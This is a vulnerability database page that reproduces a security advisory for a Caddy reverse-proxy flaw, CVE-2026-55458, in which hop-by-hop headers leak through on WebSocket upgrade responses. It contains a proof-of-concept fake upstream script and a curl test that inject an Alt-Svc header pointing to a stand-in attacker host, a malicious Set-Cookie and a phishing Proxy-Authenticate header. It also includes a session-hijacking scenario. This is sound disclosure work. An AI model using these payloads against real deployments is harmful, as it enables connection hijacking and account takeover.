Not ratedCVE-2026-55458

    Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through (CVE-2026-55458)

    Published Sources: OSV, Hersteller

    What is affected, what to do

    Update V2 to version 2.11.5.

    Affected
    • V2 *..<= 2.11.4
    Fixed in
    • V2 2.11.5

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    —

    Priority

    No value is available for this vulnerability.

    —

    CVSS v3

    No value is available for this vulnerability.

    —

    EPSS score

    No value is available for this vulnerability.

    Show all metrics
    Severity
    Not rated
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    30.00 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-444

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    AI Disclosure

    This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

    Summary

    Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.

    The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

    Details

    In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

    // reverseproxy.go:1194-1198
    removeConnectionHeaders(res.Header)
    for _, h := range hopHeaders {
        res.Header.Del(h)
    }
    

    However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

    // reverseproxy.go:1186-1192
    if res.StatusCode == http.StatusSwitchingProtocols {
        var wg sync.WaitGroup
        h.handleUpgradeResponse(logger, &wg, rw, req, res)
        wg.Wait()
        return nil  // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop
    }
    

    Inside handleUpgradeResponse (streaming.go:60-91), all upstream response headers are copied to the client without any hop-by-hop filtering:

    // streaming.go:88-91
    copyHeader(rw.Header(), res.Header)        // copies ALL upstream headers
    normalizeWebsocketHeaders(rw.Header())     // only remaps Sec-WebSocket-* keys
    

    The normalizeWebsocketHeaders function (line 714) only handles WebSocket-specific header key mapping (Sec-Websocket-* to Sec-WebSocket-*). It does not strip hop-by-hop headers.

    Hop-by-Hop Headers That Leak Through

    Defined at reverseproxy.go:1681-1692:

    Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,
    Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade
    

    All 10 are stripped from normal responses. None are stripped from WebSocket upgrade responses.

    For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with :protocol: websocket), Caddy converts the upstream's 101 into a 200 OK for the client (streaming.go:99-104). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making Alt-Svc hijacking and Set-Cookie injection practically exploitable.

    Normal (200): removeConnectionHeaders() runs, hopHeaders loop runs -> headers stripped Upgrade (101): handleUpgradeResponse() runs, returns early -> headers are NOT stripped

    This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

    PoC

    Caddy config:

    :8080 {
        reverse_proxy localhost:8083
    }
    

    Script:

    import socket
    
    UPSTREAM = (
        b"HTTP/1.1 101 Switching Protocols\r\n"
        b"Upgrade: websocket\r\n"
        b"Connection: Upgrade\r\n"
        b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
        b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n"
        b"Keep-Alive: timeout=999\r\n"
        b"Proxy-Authenticate: Basic realm=\"phish\"\r\n"
        b"Set-Cookie: injected=malicious; Path=/\r\n"
        b"\r\n"
    )
    
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", 8083))
    s.listen(1)
    conn, _ = s.accept()
    conn.send(UPSTREAM)
    

    Curl:

    curl -v \
      -H "Upgrade: websocket" \
      -H "Connection: Upgrade" \
      -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
      -H "Sec-WebSocket-Version: 13" \
      http://localhost:8080/ws 2>&1
    

    Output:

    < HTTP/1.1 101 Switching Protocols
    < Alt-Svc: h2="attacker.example.com:443"; ma=86400
    < Connection: Upgrade
    < Keep-Alive: timeout=999
    < Proxy-Authenticate: Basic realm="phish"
    < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
    < Server: Caddy
    < Set-Cookie: injected=malicious; Path=/
    < Upgrade: websocket
    

    Alt-Svc, Keep-Alive, and Proxy-Authenticate are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

    Same upstream, same headers but on a 200 response. Caddy strips Alt-Svc correctly:

    curl -v http://localhost:8080/
    # Alt-Svc is absent 
    

    Impact

    This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

    Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue.

    How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/.

    Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

    Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path.

    Suggested Fix

    I'll add my fix to the branch in this security advisory.

    Contact Details

    If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani.

    Thank you for taking the time, I hope this is something interesting for you.

    Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    gogithub.com/caddyserver/caddy/v2
    • —
    • <= 2.11.4
    • 2.11.5
    • 2.11.5

    Vendors and products

    Weakness classes (CWE)

    • CWE-444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

      Base

      The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

      Entry at MITRE CWE-444

    References & sources

    • github.comcaddyserver/caddy/security/advisories/GHSA-8qx7-j2v2-x6q5web
    • github.comcaddyserver/caddypackage
    • github.comcaddyserver/caddy/releases/tag/v2.11.5web
    Embed badge

    Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.

    Badge preview for CVE-2026-55458
    <a href="https://intel.neosec.eu/en/cve/CVE-2026-55458"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-55458.svg?lang=en" alt="CVE-2026-55458 – NEOSEC Intel" height="20"></a>